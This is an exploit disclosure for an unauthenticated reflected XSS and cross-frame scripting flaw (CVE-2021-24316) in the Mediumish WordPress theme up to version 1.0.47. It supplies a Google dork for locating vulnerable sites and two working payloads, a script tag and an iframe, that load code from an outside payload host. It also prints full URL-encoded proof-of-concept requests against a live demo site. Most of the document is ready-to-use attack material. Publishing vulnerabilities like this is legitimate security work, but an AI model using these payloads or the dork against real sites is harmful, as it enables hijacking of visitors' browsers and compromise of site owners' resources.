Mediumish WordPress Theme < = 1.0.47 - Unauthenticated Reflected XSS & XFS

/*!
- # VULNERABILITY: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS
- # GOOGLE DORK: inurl:/wp-content/themes/mediumish/
- # DATE: 2021-03-14
- # SECURITY RESEARCHER: m0ze [ https://m0ze.ru ]
- # VENDOR: WowThemes [ https://wowthemes.net ]
- # SOFTWARE VERSION: <= 1.0.47
- # SOFTWARE LINK: https://www.wowthemes.net/themes/mediumish-wordpress/
- # CVSS: AV:N/AC:L/PR:N/UI:N/S:C
- # CWE: CWE-79
- # CVE: CVE-2021-24316
*/



### -- [ Info: ]

[i] An Unauthenticated Reflected XSS & XFS vulnerabilities was discovered in the Mediumish theme through 1.0.47 for WordPress.

[i] For successful exploitation, malicious JavaScript code or iFrame must be injected into the search query.



### -- [ Impact: ]

[~] Malicious JavaScript code or iFrame injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.



### -- [ Payloads: ]

[$] "><script src=https://m0ze.ru/payload/a2r.js></script>

[$] "><iframe src=https://m0ze.ru/payload/xfsii.html></iframe>



### -- [ PoC #1 | Unauthenticated Reflected XSS & XFS | Search query: ]

[!] https://www.themepush.com/demo-mediumish/?post_type=post&s=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa2r.js%3E%3C%2Fscript%3E

[!] GET /demo-mediumish/?post_type=post&s=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa2r.js%3E%3C%2Fscript%3E HTTP/1.1
Host: www.themepush.com



### -- [ PoC #2 | Unauthenticated Reflected XSS & XFS | Search query: ]

[!] https://www.themepush.com/demo-mediumish/?post_type=post&s=%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E

[!] GET /demo-mediumish/?post_type=post&s=%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E HTTP/1.1
Host: www.themepush.com



### -- [ Contacts: ]

[+] Website: m0ze.ru
[+] GitHub: @m0ze
[+] Telegram: @m0ze_ru
[+] Twitter: @vladm0ze

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